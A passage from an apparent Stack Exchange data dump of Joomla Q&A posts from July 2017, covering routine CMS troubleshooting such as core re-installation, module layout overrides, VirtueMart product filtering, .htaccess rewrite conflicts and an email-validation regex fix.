&lt;/li&gt;&#xA;&lt;li&gt;With this general approach, it's made sure that the whole Joomla core is there.  &lt;/li&gt;&#xA;&lt;li&gt;Of course it's recommended that the Joomla versions should match.   &lt;/li&gt;&#xA;&lt;li&gt;Other specific customizations/overrides/patches over the core of the existing site will be removed.&lt;/li&gt;&#xA;&lt;li&gt;If there are no 3rd party extensions and other files exist on the whole website or partially in subfolders e.g. a plugins folder, then the whole parent folder can be replaced.&lt;/li&gt;&#xA;&lt;li&gt;Always have a backup - avoid doing such tasks on the live website.&lt;/li&gt;&#xA;&lt;li&gt;Remember to clearing caches etc, when testing your changes.&lt;/li&gt;&#xA;&lt;li&gt;I am describing/suggesting the full core re-installation with this method because likely if there is a failed Joomla installation for whatever reason, this might contain more than 1 corrupted files. However, someone could go with partial replacements of the whole Joomla package and try on each step to see if a specific issue is resolved.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Extra Tip&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found that in some cases, during copy/paste/replace from fresh Joomla to the site, it's useful and timesaver to temporary rename and keep aside some of the existing site folders - instead of replacing them (which deletes them) - so to keep references to them in my current working environment - without the need to look to re-download/re-unzip/recreate the existing site. I can easily rename folders and switch between the 2 versions - or do comparisons etc.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-07-20T07:08:40.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21212" PostTypeId="2" ParentId="21165" CreationDate="2017-07-20T12:36:34.233" Score="1" Body="&lt;p&gt;It turns out that our test site had asp tags turned on. This was not the case in the live site. It cause issues with our template because php was mistakenly assuming the ejs tags ie &amp;lt;% &amp;lt;%= and so on were php commands using asp designators. I guess that goes to show that you should always copy your php settings totally, lest the defaults kick in and foul things up.&lt;/p&gt;&#xA;" OwnerUserId="11029" LastActivityDate="2017-07-20T12:36:34.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21214" PostTypeId="1" AcceptedAnswerId="21215" CreationDate="2017-07-21T00:01:06.627" Score="-1" ViewCount="57" Body="&lt;p&gt;This is the code that i retrieve data from sql in this case ¨Km¨ is added before value but i will ¨Km¨ after value ..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now is like this : Km 129.000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but i will 129.000 km&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$insert1 =&quot; /// Km: &quot;;&#xA;        $string = &quot;km &amp;lt;pre&amp;gt;{$insert1}&amp;lt;/pre&amp;gt;&quot;;&#xA;        $query = '&#xA;       '.$item-&amp;gt;getId();&#xA;        $db-&amp;gt;setQuery( $query );&#xA;        $result = $db-&amp;gt;loadResult();&#xA;        if($result) {&#xA;        $result = str_replace('*','',$result);&#xA;        print_r($insert1);&#xA;        print_r($result);&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5655" LastActivityDate="2017-07-21T00:50:54.630" Title="add text after value that is retrieving from SQL in php" Tags="|php|sql|" AnswerCount="1" CommentCount="2" ClosedDate="2018-05-27T14:24:45.973" ContentLicense="CC BY-SA 3.0" />
  <row Id="21215" PostTypeId="2" ParentId="21214" CreationDate="2017-07-21T00:50:54.630" Score="1" Body="&lt;p&gt;You simply need to add the &lt;code&gt;km&lt;/code&gt; after the result from the database, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$result = $db-&amp;gt;loadResult();&#xA;&#xA;if ($result)&#xA;{&#xA;    echo $result . ' km';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-07-21T00:50:54.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21217" PostTypeId="2" ParentId="18703" CreationDate="2017-07-22T18:58:04.223" Score="1" Body="&lt;p&gt;I think this method is for loading data in the form .The method first checking the session for get data if the session array be empty it get data from database So The data can be in session or in database.&#xA;This method don't have any responsibility to load the form but it just for loading data in form and get the data that should be injected in the form.&#xA;And for getting form you should use the getForm method that is a abstract method  for getting the form from the model.&lt;/p&gt;&#xA;" OwnerUserId="2160" LastActivityDate="2017-07-22T18:58:04.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21219" PostTypeId="1" CreationDate="2017-07-23T15:35:23.290" Score="2" ViewCount="299" Body="&lt;p&gt;i have a module that shows categories of virtuemart products in front page. &#xA;I dont want the products that are not in stock available to be shown. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;there is a function in the module code to select the products:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function _CountProduct($catids, $params)&#xA;{&#xA;    if ($catids == '*') {&#xA;        $_catids = $params-&amp;gt;get('catid');&#xA;        $catids = self::_getChildCategories($_catids, $params);&#xA;        $catids = self::_getPublishCategories($catids);&#xA;    }&#xA;    if (empty($catids)) return;&#xA;&#xA;    $limitation = 999;&#xA;    $source_group = null;&#xA;    $ordering_direction = $params-&amp;gt;get('product_ordering_direction');&#xA;    $source_order = $params-&amp;gt;get('source_order', 'group.featured');&#xA;    $p_special = $params-&amp;gt;get('show_front');&#xA;    $categoryModel = VmModel::getModel('Category');&#xA;    $categoryModel-&amp;gt;_noLimit = true;&#xA;&#xA;    $list = array();&#xA;    if (!empty($catids)) {&#xA;        $productModel = VmModel::getModel('Product');&#xA;        $productModel = new VirtuemartModelProductExtend();&#xA;        $productModel-&amp;gt;filter_order = $source_order;&#xA;        $productModel-&amp;gt;specail_product = $p_special;&#xA;        $productModel-&amp;gt;ordering_direction = $ordering_direction;&#xA;        $desc_maxlength = $params-&amp;gt;get('item_des_maxlength');&#xA;        $items = $productModel-&amp;gt;getProductListing($source_group, $limitation, true, true, false, true, $catids);&#xA;        $productModel-&amp;gt;addImages($items);&#xA;        $ratingModel = VmModel::getModel('ratings');&#xA;        foreach ($items as $item) {&#xA;            $item-&amp;gt;title = $item-&amp;gt;product_name;&#xA;            $item-&amp;gt;id = $item-&amp;gt;virtuemart_product_id;&#xA;            $item-&amp;gt;description = $item-&amp;gt;product_desc;&#xA;            self::getVmImages($item, $params);&#xA;            $item-&amp;gt;short_desc = self::_cleanText($item-&amp;gt;product_s_desc);&#xA;            $item-&amp;gt;_description = self::_cleanText($item-&amp;gt;description);&#xA;            $item-&amp;gt;_description = ($item-&amp;gt;_description != '') ? self::truncate($item-&amp;gt;_description, $desc_maxlength) : self::truncate($item-&amp;gt;short_desc, $desc_maxlength);&#xA;            $item-&amp;gt;vote = $ratingModel-&amp;gt;getVoteByProduct($item-&amp;gt;virtuemart_product_id);&#xA;            $item-&amp;gt;rating = $ratingModel-&amp;gt;getRatingByProduct($item-&amp;gt;virtuemart_product_id);&#xA;            $list[] = $item;&#xA;        }&#xA;    }&#xA;&#xA;&#xA;    return count($list);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;how should i change this function to do so?&#xA;I'm using the last version of joomla and virtuemart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any help would be appreciated. &#xA;thanks&lt;/p&gt;&#xA;" OwnerUserId="8738" LastEditorUserId="8738" LastEditDate="2017-07-31T14:59:52.127" LastActivityDate="2018-09-26T13:01:47.487" Title="not to list products that are not in stock" Tags="|joomla-3.x|virtuemart|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21220" PostTypeId="1" CreationDate="2017-07-23T23:38:49.673" Score="1" ViewCount="66" Body="&lt;p&gt;I am planning to use tmpl=component within the URL for some pages on my site to enable them to be embedded in iframes conveniently and only show the document content. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I want any links within those pages to forcibly load in the parent frame. Consequently, I need to add the following element into the head of the pages in question.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;base target=&quot;_parent&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't see a method on JDocument that will allow me to inject this off-hand though. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="454" LastActivityDate="2017-07-27T13:27:24.917" Title="How to add &lt;base target=&quot;...&quot;&gt; when using tmpl=component" Tags="|joomla-3.x|jdocument|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21221" PostTypeId="1" CreationDate="2017-07-24T05:31:13.103" Score="0" ViewCount="1087" Body="&lt;p&gt;I have Wordpress installed at &lt;code&gt;example.com&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did have Joomla 3 installed at &lt;code&gt;example.com/joomla&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now &lt;code&gt;example.com/joomla&lt;/code&gt; loads a Wordpress 404 for some reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even &lt;code&gt;example.com/joomla/index.php&lt;/code&gt; loads a Wordpress 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see the Joomla files are intact in the &lt;code&gt;/joomla&lt;/code&gt; folder, and &lt;code&gt;configuration.php&lt;/code&gt; contains the correct db details. I can see in &lt;code&gt;phpMyAdmin&lt;/code&gt; the db is intact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I checked &lt;code&gt;.htaccess&lt;/code&gt; in the &lt;code&gt;/joomla&lt;/code&gt; folder it was called &lt;code&gt;htaccess.txt&lt;/code&gt;. Renaming this to &lt;code&gt;.htaccess&lt;/code&gt; did not resolve the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I ensure the Joomla 3 website runs properly again from a sub-directory where Wordpress is installed in the root domain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1616" LastActivityDate="2017-07-24T08:46:24.050" Title="How to install Joomla in subfolder where Wordpress is installed in web root" Tags="|.htaccess-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21222" PostTypeId="1" CreationDate="2017-07-24T06:29:40.117" Score="1" ViewCount="662" Body="&lt;p&gt;I am looking for the event is triggered when saves or just before the com_fields custom field saves the data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is there any where I can find the list of all com_fields event trigger the ones I found on Joomla's issue tracker are&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;onCustomFieldsGetTypes&lt;/li&gt;&#xA;&lt;li&gt;onCustomFieldsPrepareField&lt;/li&gt;&#xA;&lt;li&gt;onCustomFieldsPrepareDom&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="9339" LastActivityDate="2017-09-11T10:33:58.107" Title="Event for saving Custom Fields data? Or before save" Tags="|custom-field|plugin-events|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21223" PostTypeId="2" ParentId="21221" CreationDate="2017-07-24T08:46:24.050" Score="1" Body="&lt;p&gt;You need to exclude the Joomla folder from WordPress's rewrite rules. In the WordPress .htaccess you would exclude /joomla&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://stackoverflow.com/questions/2322559/htaccess-wordpress-exclude-folder-from-rewriterule&quot;&gt;https://stackoverflow.com/questions/2322559/htaccess-wordpress-exclude-folder-from-rewriterule&lt;/a&gt; for more information&lt;/p&gt;&#xA;" OwnerUserId="3603" LastActivityDate="2017-07-24T08:46:24.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21224" PostTypeId="1" CreationDate="2017-07-13T18:44:47.160" Score="0" ViewCount="48" Body="&lt;p&gt;I am trying to locate the images folder within the template in Joomla 1.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can press Edit HTML and Edit CSS to edit the codes for the site, but I cannot find any ways to access the files in the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did I miss anything? (I am too scared to upgrade to Joomla 3 when people say it's hard to backup and upgrade from Joomla 1.0.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CEve7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CEve7.png&quot; alt=&quot;Screenshot of my Joomla Template Manager&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="Simen Larsen Johansen" LastEditorUserId="9471" LastEditDate="2018-05-01T09:37:10.600" LastActivityDate="2018-05-01T09:37:10.600" Title="Joomla 1.0 - Locating images within a template" Tags="|templates|images|joomla1.0|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21225" PostTypeId="2" ParentId="21224" CreationDate="2017-07-15T22:30:13.837" Score="1" Body="&lt;p&gt;To locate images in the template, right click an image in your browser, and choose Inspect (in chrome. Something similar in other browsers). This will show you the path to the image. The path on the server will generally reflect the path in the browser. If not, check for a .htaccess-file in your site root, to see if there are directives redirecting the images folder path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also: Don't try to upgrade your joomla 1.0 to joomla 3 (regardless of what others here are saying): You will end up using a lot of time making your old, outdated design work in joomla 3. Also you will have all sorts of issues with your data. Still: Consider that Joomla 1.0 is will give you all sorts of troubles, so if you are serious with the website, assess the best way to migrate to a modern platform. Joomla 3 is a good alternative, but also consider other systems, depending on your competence. The normal migration route for Joomla will not work well with such an old site, so you'll anyway have to find a way to move the data you want to keep (...and skip old outdated data you dont need anymore!)&lt;/p&gt;&#xA;" OwnerUserId="360" OwnerDisplayName="jonasfh" LastActivityDate="2017-07-15T22:30:13.837" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21226" PostTypeId="2" ParentId="21037" CreationDate="2017-07-24T12:39:21.193" Score="1" Body="&lt;p&gt;Check if there is some protection system like mod_Security active on your hosting, it could be masking real error. ANd check php error logs if they are available, usually they can be found in cpanel, plesk or whaever your hsoter uses.&lt;/p&gt;&#xA;" OwnerUserId="7547" LastActivityDate="2017-07-24T12:39:21.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21227" PostTypeId="2" ParentId="4531" CreationDate="2017-07-24T12:47:16.443" Score="0" Body="&lt;p&gt;Check that /administrator/cache and /cache folders exist and that your web servers has write permisions for it. You can check this in System-&gt;System Information-&gt;Folder Permissions tab - everything here should be green.&lt;/p&gt;&#xA;" OwnerUserId="7547" LastActivityDate="2017-07-24T12:47:16.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21228" PostTypeId="2" ParentId="21176" CreationDate="2017-07-24T18:49:09.827" Score="1" Body="&lt;p&gt;I turned on maximum error reporting and chased the problem down to &quot;Modules Anywhere&quot; component. The upgrade destroyed that component. I couldn't wait for days on the component's message board for an answer, so I restored a backup from 2 weeks ago, then updated the Modules Anywhere component, then updated Joomla.&lt;/p&gt;&#xA;" OwnerUserId="11322" LastEditorUserId="126" LastEditDate="2017-11-24T11:26:44.097" LastActivityDate="2017-11-24T11:26:44.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21230" PostTypeId="2" ParentId="21115" CreationDate="2017-07-25T07:24:23.830" Score="0" Body="&lt;p&gt;This problem is due to a change in Joomla 3.7.3 and the select (1) query not compatible with Falang due to a bug in MySQL-php.&#xA;You have to update your php version to php 7+ or use the fix in the Joomla pull request here&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/17003/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/pull/17003/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11351" LastActivityDate="2017-07-25T07:24:23.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21231" PostTypeId="1" CreationDate="2017-07-25T11:26:44.953" Score="0" ViewCount="725" Body="&lt;p&gt;I try to display the articles list from a specific category (mod_articles_category) in 2 columns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a great example here about what I want: &lt;a href=&quot;http://jsfiddle.net/HP85j/393/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://jsfiddle.net/HP85j/393/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would love to do this for only one module, not all the mod_articles_category. So, overridfes can't be use here, I think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for your help :)&lt;/p&gt;&#xA;" OwnerUserId="11354" LastEditorUserId="126" LastEditDate="2017-07-25T13:31:13.153" LastActivityDate="2017-07-27T12:27:02.233" Title="Articles list from a category displayed in 2 columns" Tags="|module|css|overrides|module-display|layout|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21233" PostTypeId="2" ParentId="21231" CreationDate="2017-07-25T13:49:10.073" Score="1" Body="&lt;p&gt;It's not clear what kind of answer you are seeking here and your question is getting a bit broad - I assume you are asking about directions and will try to provide some.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have a few options to achieve what you want:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;CSS overrides only for the page/module instance you want&lt;/li&gt;&#xA;&lt;li&gt;Module Alternative Layout + CSS overrides for the module.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;Extended Instructions&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You can give a custom &lt;strong&gt;Page Class Suffix&lt;/strong&gt; on the page/menu item where the module is appearing, or give a custom &lt;strong&gt;Module Class Suffix&lt;/strong&gt;. Then create your custom CSS overrides (e.g. in your template's custom css file) where you can &quot;describe&quot; the 2 columns layout for the module's output.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can create an alternative module layout and only use it for that particular module instance. Copy the default template file of the module, inside the &lt;code&gt;templates/YOUR_TEMPLATE/html/YOUR_MODULE/default.php&lt;/code&gt; then rename it to something like &lt;code&gt;yourLayout.php&lt;/code&gt; and do any html overrides you want there. Then in the module's instance go and select that new alternative layout for your module. Then go and do also and special CSS overrides you need, to complete the 2 columns layout.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-07-25T13:49:10.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21234" PostTypeId="2" ParentId="21231" CreationDate="2017-07-25T15:53:09.020" Score="0" Body="&lt;p&gt;If the template is based on Bootstrap or any other CSS framework, then let's use the grid classes to achieve the multi-column output.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;  create an override of the module articles category in your template&lt;/li&gt; &#xA;&lt;li&gt;  rename this override as you want (for example columns.php)&lt;/li&gt; &#xA;&lt;li&gt;  in this file, add the CSS class &quot;row-fuild&quot; to the ul tag and 'span6&quot; to the li tag&lt;/li&gt; &#xA;&lt;li&gt;  save and close&lt;/li&gt; &#xA;&lt;li&gt;  in your module, go to the advanced parameters and select &quot;columns&quot; as layout&lt;/li&gt; &#xA;&lt;li&gt;  save and close&lt;/li&gt; &#xA;&lt;li&gt;  Enjoy!&lt;/li&gt; &#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;If you have a display issue on frontend, add the CSS style &quot;margin-left:0px !important&quot; to the li tag in your overrided file.&#xA;Thanks to Taimur Aziz‏ @Taimurian for the solution&lt;/p&gt;&#xA;" OwnerUserId="11354" LastActivityDate="2017-07-25T15:53:09.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21235" PostTypeId="1" CreationDate="2017-07-25T22:24:54.443" Score="1" ViewCount="95" Body="&lt;p&gt;All I want to do is upload pictures to my virtuemart products from Imgur rather than my computer because I can only use a total of 2 gigabytes for the whole site. I am just learning to do any website building. Please help&lt;/p&gt;&#xA;" OwnerUserId="11358" LastActivityDate="2017-08-17T08:26:13.227" Title="Adding pictures to virtuemart product" Tags="|virtuemart|images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21236" PostTypeId="1" AcceptedAnswerId="21246" CreationDate="2017-07-26T02:08:58.860" Score="1" ViewCount="325" Body="&lt;p&gt;I am migrating a site from Joomla to WordPress. The migration tool didn't setup redirects for the old urls so I'm planning to write something to do them for me. I need a way to output all the current urls from Joomla in mysql. Anyone know how I would do this?&lt;/p&gt;&#xA;" OwnerUserId="11223" LastActivityDate="2017-07-27T13:21:05.633" Title="Retrieve article URL from phpMyAdmin" Tags="|joomla-3.x|mysql|sql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21237" PostTypeId="1" CreationDate="2017-07-26T09:32:20.387" Score="2" ViewCount="379" Body="&lt;p&gt;I want to take the below code from com_content/article/default.php (line 91-94):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (isset($urls) &amp;amp;&amp;amp; ((!empty($urls-&amp;gt;urls_position) &amp;amp;&amp;amp; ($urls-&amp;gt;urls_position == '0')) || ($params-&amp;gt;get('urls_position') == '0' &amp;amp;&amp;amp; empty($urls-&amp;gt;urls_position)))&#xA;    || (empty($urls-&amp;gt;urls_position) &amp;amp;&amp;amp; (!$params-&amp;gt;get('urls_position')))) : ?&amp;gt;&#xA;    &amp;lt;?php // echo $this-&amp;gt;loadTemplate('links'); ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And call it in the module mod_articles_category so I can have the custom link appear under each article. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a &lt;em&gt;similar&lt;/em&gt; solution on this thread: &lt;a href=&quot;https://joomla.stackexchange.com/questions/10880/how-to-add-article-image-to-module-mod-article-categories&quot;&gt;How to add article image to module mod_article_categories?&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it's for images. I'm not sure how to load the links.&lt;/p&gt;&#xA;" OwnerUserId="11361" LastActivityDate="2018-09-11T18:02:37.823" Title="How to add article links to module mod_articles_category?" Tags="|module-params|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21240" PostTypeId="1" CreationDate="2017-07-26T18:24:58.540" Score="1" ViewCount="163" Body="&lt;p&gt;If I wanted to change from font-awesome to a custom icon library, what would be the steps necessary.   I will be using icomoon to generate the svg files and/or font - whichever is necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to have this available using the icon picker, so all the instructions to complete this would be helpful.&lt;/p&gt;&#xA;" OwnerUserId="11010" LastActivityDate="2017-11-24T11:42:59.760" Title="How to change icon library (and picker) to custom library" Tags="|joomla-3.x|gantry|icon|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21241" PostTypeId="1" AcceptedAnswerId="21242" CreationDate="2017-07-26T18:56:07.360" Score="2" ViewCount="406" Body="&lt;p&gt;There seems to be a major issue on several v2.5.7 sites I've been asked to help with, where emails are not being validated when entered into the built-in com_contact component on a standard contact-us form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The contact form will error out when the TLD used by the submitter ends with any value using more than 4 characters at the 'dot' end of the domain name... i.e., 5 characters of '&lt;strong&gt;.cloud&lt;/strong&gt;' will not be accepted, while the 3 characters as '&lt;strong&gt;.com&lt;/strong&gt;' work as expected. I've verified that this is a repeatable issue with every form submitted when using the new/extended domain names in an email address. The forms all work perfectly otherwise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This site will not be upgraded to anything newer just yet, and the core code has been heavily patched to cover bugs and security issues otherwise - so - it will need another patch to accommodate a fix for this too. In other words, nothing but hand coding can be done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I've uncovered so far, the validation code responsible for the email address itself is in: /libraries/joomla/form/rules/email.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code doing the validating seems to be the regex at line #27... and I loathe and don't understand enough about regex to be able to proffer a sure fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone familiar give me a pointer on whether my assumption is correct - that this is the problem code... or where it might be located if this isn't the right file? And - if it is the right place, what changes can be made to allow for a much longer TLD to be acceptable in an email address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the entire function code in email.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class JFormRuleEmail extends JFormRule&#xA;{&#xA;    /**&#xA;     * The regular expression to use in testing a form field value.&#xA;     *&#xA;     * @var    string&#xA;     * @since  11.1&#xA;     */&#xA;    protected $regex = '^[\w.-]+(\+[\w.-]+)*@\w+[\w.-]*?\.\w{2,4}$';&#xA;&#xA;    /**&#xA;     * Method to test the email address and optionally check for uniqueness.&#xA;     *&#xA;     * @param   JXMLElement  &amp;amp;$element  The JXMLElement object representing the &amp;lt;field /&amp;gt; tag for the form field object.&#xA;     * @param   mixed        $value     The form field value to validate.&#xA;     * @param   string       $group     The field name group control value. This acts as as an array container for the field.&#xA;     *                                  For example if the field has name=&quot;foo&quot; and the group value is set to &quot;bar&quot; then the&#xA;     *                                  full field name would end up being &quot;bar[foo]&quot;.&#xA;     * @param   JRegistry    &amp;amp;$input    An optional JRegistry object with the entire data set to validate against the entire form.&#xA;     * @param   object       &amp;amp;$form     The form object for which the field is being tested.&#xA;     *&#xA;     * @return  boolean  True if the value is valid, false otherwise.&#xA;     *&#xA;     * @since   11.1&#xA;     * @throws  JException on invalid rule.&#xA;     */&#xA;    public function test(&amp;amp;$element, $value, $group = null, &amp;amp;$input = null, &amp;amp;$form = null)&#xA;    {&#xA;        // If the field is empty and not required, the field is valid.&#xA;        $required = ((string) $element['required'] == 'true' || (string) $element['required'] == 'required');&#xA;        if (!$required &amp;amp;&amp;amp; empty($value))&#xA;        {&#xA;            return true;&#xA;        }&#xA;&#xA;        // Test the value against the regular expression.&#xA;        if (!parent::test($element, $value, $group, $input, $form))&#xA;        {&#xA;            return false;&#xA;        }&#xA;&#xA;        // Check if we should test for uniqueness.&#xA;        $unique = ((string) $element['unique'] == 'true' || (string) $element['unique'] == 'unique');&#xA;        if ($unique)&#xA;        {&#xA;&#xA;            // Get the database object and a new query object.&#xA;            $db = JFactory::getDBO();&#xA;            $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;            // Build the query.&#xA;            $query-&amp;gt;select('COUNT(*)');&#xA;            $query-&amp;gt;from('#__users');&#xA;            $query-&amp;gt;where('email = ' . $db-&amp;gt;quote($value));&#xA;&#xA;            // Get the extra field check attribute.&#xA;            $userId = ($form instanceof JForm) ? $form-&amp;gt;getValue('id') : '';&#xA;            $query-&amp;gt;where($db-&amp;gt;quoteName('id') . ' &amp;lt;&amp;gt; ' . (int) $userId);&#xA;&#xA;            // Set and query the database.&#xA;            $db-&amp;gt;setQuery($query);&#xA;            $duplicate = (bool) $db-&amp;gt;loadResult();&#xA;&#xA;            // Check for a database error.&#xA;            if ($db-&amp;gt;getErrorNum())&#xA;            {&#xA;                JError::raiseWarning(500, $db-&amp;gt;getErrorMsg());&#xA;            }&#xA;&#xA;            if ($duplicate)&#xA;            {&#xA;                return false;&#xA;            }&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11365" LastActivityDate="2017-07-26T19:26:33.273" Title="Joomla 2.5 email validation issue" Tags="|joomla-2.5|emails|validations|validation|regex|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21242" PostTypeId="2" ParentId="21241" CreationDate="2017-07-26T19:26:33.273" Score="0" Body="&lt;p&gt;You have identified the issue correctly. The bug was raised here:&#xA;&lt;a href=&quot;https://developer.joomla.org/joomlacode-archive/issue-28128.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.joomla.org/joomlacode-archive/issue-28128.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla now uses the following regex.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected $regex = &quot;^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could probably just swap out the regex line, but you really should be patching the sites and not touching core code.  There have been loads of security patches since 2.5, so your site is vulnerable.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-07-26T19:26:33.273" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21245" PostTypeId="2" ParentId="21231" CreationDate="2017-07-27T12:20:41.270" Score="-3" Body="&lt;p&gt;just do that : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    .category-module {&#xA;-webkit-column-count: 2;&#xA;-moz-column-count: 2;&#xA;column-count: 2;&#xA;-webkit-column-gap: 40px;&#xA;column-gap: 40px;&#xA;-moz-column-gap: 40px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;gap is not mandatory&#xA;you can add a class to your module and write : .category-module.myclass&lt;/p&gt;&#xA;&#xA;&lt;p&gt;enjoy&lt;/p&gt;&#xA;" OwnerUserId="11355" LastEditorUserId="11355" LastEditDate="2017-07-27T12:27:02.233" LastActivityDate="2017-07-27T12:27:02.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
